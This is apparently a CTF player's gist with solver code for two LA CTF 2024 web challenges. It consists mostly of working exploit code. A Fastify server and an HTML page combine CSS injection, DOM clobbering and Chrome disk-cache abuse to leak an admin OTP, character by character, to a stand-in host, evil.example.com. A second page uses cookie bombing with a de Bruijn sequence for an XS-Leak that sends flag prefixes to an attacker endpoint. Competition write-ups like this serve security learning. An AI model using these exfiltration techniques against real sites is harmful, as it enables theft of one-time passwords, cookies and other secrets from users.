I solved all web and some misc challenges. This gist shows my solvers for two hard web challenges: quickstyle
and biscuit-of-totality
.
- CTFtime: https://ctftime.org/event/2102
- Official repository: https://github.com/uclaacm/lactf-archive/tree/main/2024
- Author: r2uwu2
- 12 solves / 495 points
- second blood 🥈
- An error caused by DOM Clobbering:
<form name="querySelectorAll"></form>
- Abusing disk cache in Google Chrome
- When the cache is used, the admin
otp
is not regenerated, but the HTML fetch is reloaded.
- When the cache is used, the admin
Server code:
const app = require("fastify")({});
const path = require("node:path");
const ATTACKER_BASE_URL = "https://evil.example.com";
const user = "username_xxxxx";
app.addHook("onSend", async (res, reply) => {
reply.header("Access-Control-Allow-Origin", "*");
});
app.register(require("@fastify/static"), {
root: path.join(__dirname, "public"),
prefix: "/",
});
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
let known = "";
const TARGET_LEN = 80;
const CHARS = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
app.get("/cssi", async (req, reply) => {
let css = "";
for (const c of CHARS) {
css += `
input[value ^= "${known}${c}"] {
background: url("${ATTACKER_BASE_URL}/cssi/leak?prefix=${known}${c}");
}
`.trim();
}
const html = `
<style>${css}</style>
<form name="querySelectorAll"></form>
`.trim();
return reply.type("html").send(html);
});
app.get("/cssi/leak", async (req, reply) => {
known = req.query.prefix.trim();
console.log({ len: known.length, known });
if (known.length === TARGET_LEN) {
console.log({ user, otp: known });
app.close();
}
return "";
});
app.get("/cssi/prefix", async (req, reply) => {
const len = parseInt(req.query.len);
while (known.length < len) {
await sleep(10);
}
return known;
});
app.listen({ address: "0.0.0.0", port: 8080 }, (err) => {
if (err) throw err;
});
index.html
:
<body>
<script>
// const BASE_URL = "http://web:3000";
const BASE_URL = "https://quickstyle.chall.lac.tf";
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));
const back = async (win) => {
while (true) {
try {
console.log(win.history);
win.history.back();
return;
} catch {
await sleep(10);
}
}
};
const TARGET_LEN = 80;
const main = async () => {
const user = "username_xxxxx";
const page = `${location.origin}/cssi`;
const win = open(`${BASE_URL}/?${new URLSearchParams({ user, page })}`);
for (let len = 1; len < TARGET_LEN; len++) {
await fetch(`/cssi/prefix?len=${len}`);
win.location = `about:blank`;
await back(win);
}
};
main();
</script>
</body>
- I created a challenge focued on abusing disk cache:
- spanote in SECCON CTF 2022
- https://blog.arkark.dev/2022/11/18/seccon-en/#Step-1-Understanding-cache-behavior-in-Google-Chrome
- keywords: bfcache vs. disk cache
- Author: arcblroth
- 5 solves / 498 points
- first blood 🥇
- XS-Leak by cookie bombing with a de Bruijn sequence
- I used the sequence to efficiently make the compressed cookie larger.
- FYI: zer0tp in zer0pts CTF 2022 Quals
Server code:
const app = require("fastify")({});
const path = require("node:path");
app.register(require("@fastify/static"), {
root: path.join(__dirname, "public"),
prefix: "/",
});
app.get("/leak", async (req, reply) => {
const prefix = req.query.prefix.trim();
console.log({ prefix });
return "";
});
app.listen({ address: "0.0.0.0", port: 8080 }, (err) => {
if (err) throw err;
});
index.html
:
<body>
<p>exploit</p>
<script>
// de Bruijn sequence
// |Σ| = 16, n = 3
const deBruijnSeq =
"---=--^--~--|--<-->--@--`--?--!--#--$--%--&--*-==-=^-=~-=|-=<-=>-=@-=`-=?-=!-=#-=$-=%-=&-=*-^=-^^-^~-^|-^<-^>-^@-^`-^?-^!-^#-^$-^%-^&-^*-~=-~^-~~-~|-~<-~>-~@-~`-~?-~!-~#-~$-~%-~&-~*-|=-|^-|~-||-|<-|>-|@-|`-|?-|!-|#-|$-|%-|&-|*-<=-<^-<~-<|-<<-<>-<@-<`-<?-<!-<#-<$-<%-<&-<*->=->^->~->|-><->>->@->`->?->!->#->$->%->&->*-@=-@^-@~-@|-@<-@>-@@-@`-@?-@!-@#-@$-@%-@&-@*-`=-`^-`~-`|-`<-`>-`@-``-`?-`!-`#-`$-`%-`&-`*-?=-?^-?~-?|-?<-?>-?@-?`-??-?!-?#-?$-?%-?&-?*-!=-!^-!~-!|-!<-!>-!@-!`-!?-!!-!#-!$-!%-!&-!*-#=-#^-#~-#|-#<-#>-#@-#`-#?-#!-##-#$-#%-#&-#*-$=-$^-$~-$|-$<-$>-$@-$`-$?-$!-$#-$$-$%-$&-$*-%=-%^-%~-%|-%<-%>-%@-%`-%?-%!-%#-%$-%%-%&-%*-&=-&^-&~-&|-&<-&>-&@-&`-&?-&!-&#-&$-&%-&&-&*-*=-*^-*~-*|-*<-*>-*@-*`-*?-*!-*#-*$-*%-*&-**===^==~==|==<==>==@==`==?==!==#==$==%==&==*=^^=^~=^|=^<=^>=^@=^`=^?=^!=^#=^$=^%=^&=^*=~^=~~=~|=~<=~>=~@=~`=~?=~!=~#=~$=~%=~&=~*=|^=|~=||=|<=|>=|@=|`=|?=|!=|#=|$=|%=|&=|*=<^=<~=<|=<<=<>=<@=<`=<?=<!=<#=<$=<%=<&=<*=>^=>~=>|=><=>>=>@=>`=>?=>!=>#=>$=>%=>&=>*=@^=@~=@|=@<=@>=@@=@`=@?=@!=@#=@$=@%=@&=@*=`^=`~=`|=`<=`>=`@=``=`?=`!=`#=`$=`%=`&=`*=?^=?~=?|=?<=?>=?@=?`=??=?!=?#=?$=?%=?&=?*=!^=!~=!|=!<=!>=!@=!`=!?=!!=!#=!$=!%=!&=!*=#^=#~=#|=#<=#>=#@=#`=#?=#!=##=#$=#%=#&=#*=$^=$~=$|=$<=$>=$@=$`=$?=$!=$#=$$=$%=$&=$*=%^=%~=%|=%<=%>=%@=%`=%?=%!=%#=%$=%%=%&=%*=&^=&~=&|=&<=&>=&@=&`=&?=&!=&#=&$=&%=&&=&*=*^=*~=*|=*<=*>=*@=*`=*?=*!=*#=*$=*%=*&=**^^^~^^|^^<^^>^^@^^`^^?^^!^^#^^$^^%^^&^^*^~~^~|^~<^~>^~@^~`^~?^~!^~#^~$^~%^~&^~*^|~^||^|<^|>^|@^|`^|?^|!^|#^|$^|%^|&^|*^<~^<|^<<^<>^<@^<`^<?^<!^<#^<$^<%^<&^<*^>~^>|^><^>>^>@^>`^>?^>!^>#^>$^>%^>&^>*^@~^@|^@<^@>^@@^@`^@?^@!^@#^@$^@%^@&^@*^`~^`|^`<^`>^`@^``^`?^`!^`#^`$^`%^`&^`*^?~^?|^?<^?>^?@^?`^??^?!^?#^?$^?%^?&^?*^!~^!|^!<^!>^!@^!`^!?^!!^!#^!$^!%^!&^!*^#~^#|^#<^#>^#@^#`^#?^#!^##^#$^#%^#&^#*^$~^$|^$<^$>^$@^$`^$?^$!^$#^$$^$%^$&^$*^%~^%|^%<^%>^%@^%`^%?^%!^%#^%$^%%^%&^%*^&~^&|^&<^&>^&@^&`^&?^&!^&#^&$^&%^&&^&*^*~^*|^*<^*>^*@^*`^*?^*!^*#^*$^*%^*&^**~~~|~~<~~>~~@~~`~~?~~!~~#~~$~~%~~&~~*~||~|<~|>~|@~|`~|?~|!~|#~|$~|%~|&~|*~<|~<<~<>~<@~<`~<?~<!~<#~<$~<%~<&~<*~>|~><~>>~>@~>`~>?~>!~>#~>$~>%~>&~>*~@|~@<~@>~@@~@`~@?~@!~@#~@$~@%~@&~@*~`|~`<~`>~`@~``~`?~`!~`#~`$~`%~`&~`*~?|~?<~?>~?@~?`~??~?!~?#~?$~?%~?&~?*~!|~!<~!>~!@~!`~!?~!!~!#~!$~!%~!&~!*~#|~#<~#>~#@~#`~#?~#!~##~#$~#%~#&~#*~$|~$<~$>~$@~$`~$?~$!~$#~$$~$%~$&~$*~%|~%<~%>~%@~%`~%?~%!~%#~%$~%%~%&~%*~&|~&<~&>~&@~&`~&?~&!~&#~&$~&%~&&~&*~*|~*<~*>~*@~*`~*?~*!~*#~*$~*%~*&~**|||<||>||@||`||?||!||#||$||%||&||*|<<|<>|<@|<`|<?|<!|<#|<$|<%|<&|<*|><|>>|>@|>`|>?|>!|>#|>$|>%|>&|>*|@<|@>|@@|@`|@?|@!|@#|@$|@%|@&|@*|`<|`>|`@|``|`?|`!|`#|`$|`%|`&|`*|?<|?>|?@|?`|??|?!|?#|?$|?%|?&|?*|!<|!>|!@|!`|!?|!!|!#|!$|!%|!&|!*|#<|#>|#@|#`|#?|#!|##|#$|#%|#&|#*|$<|$>|$@|$`|$?|$!|$#|$$|$%|$&|$*|%<|%>|%@|%`|%?|%!|%#|%$|%%|%&|%*|&<|&>|&@|&`|&?|&!|&#|&$|&%|&&|&*|*<|*>|*@|*`|*?|*!|*#|*$|*%|*&|**<<<><<@<<`<<?<<!<<#<<$<<%<<&<<*<>><>@<>`<>?<>!<>#<>$<>%<>&<>*<@><@@<@`<@?<@!<@#<@$<@%<@&<@*<`><`@<``<`?<`!<`#<`$<`%<`&<`*<?><?@<?`<??<?!<?#<?$<?%<?&<?*<!><!@<!`<!?<!!<!#<!$<!%<!&<!*<#><#@<#`<#?<#!<##<#$<#%<#&<#*<$><$@<$`<$?<$!<$#<$$<$%<$&<$*<%><%@<%`<%?<%!<%#<%$<%%<%&<%*<&><&@<&`<&?<&!<&#<&$<&%<&&<&*<*><*@<*`<*?<*!<*#<*$<*%<*&<**>>>@>>`>>?>>!>>#>>$>>%>>&>>*>@@>@`>@?>@!>@#>@$>@%>@&>@*>`@>``>`?>`!>`#>`$>`%>`&>`*>?@>?`>??>?!>?#>?$>?%>?&>?*>!@>!`>!?>!!>!#>!$>!%>!&>!*>#@>#`>#?>#!>##>#$>#%>#&>#*>$@>$`>$?>$!>$#>$$>$%>$&>$*>%@>%`>%?>%!>%#>%$>%%>%&>%*>&@>&`>&?>&!>&#>&$>&%>&&>&*>*@>*`>*?>*!>*#>*$>*%>*&>**@@@`@@?@@!@@#@@$@@%@@&@@*@``@`?@`!@`#@`$@`%@`&@`*@?`@??@?!@?#@?$@?%@?&@?*@!`@!?@!!@!#@!$@!%@!&@!*@#`@#?@#!@##@#$@#%@#&@#*@$`@$?@$!@$#@$$@$%@$&@$*@%`@%?@%!@%#@%$@%%@%&@%*@&`@&?@&!@&#@&$@&%@&&@&*@*`@*?@*!@*#@*$@*%@*&@**```?``!``#``$``%``&``*`??`?!`?#`?$`?%`?&`?*`!?`!!`!#`!$`!%`!&`!*`#?`#!`##`#$`#%`#&`#*`$?`$!`$#`$$`$%`$&`$*`%?`%!`%#`%$`%%`%&`%*`&?`&!`&#`&$`&%`&&`&*`*?`*!`*#`*$`*%`*&`**???!??#??$??%??&??*?!!?!#?!$?!%?!&?!*?#!?##?#$?#%?#&?#*?$!?$#?$$?$%?$&?$*?%!?%#?%$?%%?%&?%*?&!?&#?&$?&%?&&?&*?*!?*#?*$?*%?*&?**!!!#!!$!!%!!&!!*!##!#$!#%!#&!#*!$#!$$!$%!$&!$*!%#!%$!%%!%&!%*!&#!&$!&%!&&!&*!*#!*$!*%!*&!**###$##%##&##*#$$#$%#$&#$*#%$#%%#%&#%*#&$#&%#&&#&*#*$#*%#*&#**$$$%$$&$$*$%%$%&$%*$&%$&&$&*$*%$*&$**%%%&%%*%&&%&*%*&%**&&&*&***";
// const BASE_URL = "http://localhost:3000";
const BASE_URL = "https://biscuit-of-totality.chall.lac.tf";
const CHARS =
"_{}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
const KNOWN = "lactf{e1v3n_m4"; // -> lactf{e1v3n_m4giks}
const ws = [];
for (const c of CHARS) {
const prefix = KNOWN.slice(-6) + c;
savedata = {
hasSavedata: 1,
userpfp: `${location.origin}/leak?prefix=${encodeURIComponent(prefix)}`,
tinyPotatoes: [prefix + deBruijnSeq.slice(0, 3892)],
};
ws.push(
open(BASE_URL + "/viewSave#" + encodeURIComponent(JSON.stringify(savedata)))
);
}
</script>
</body>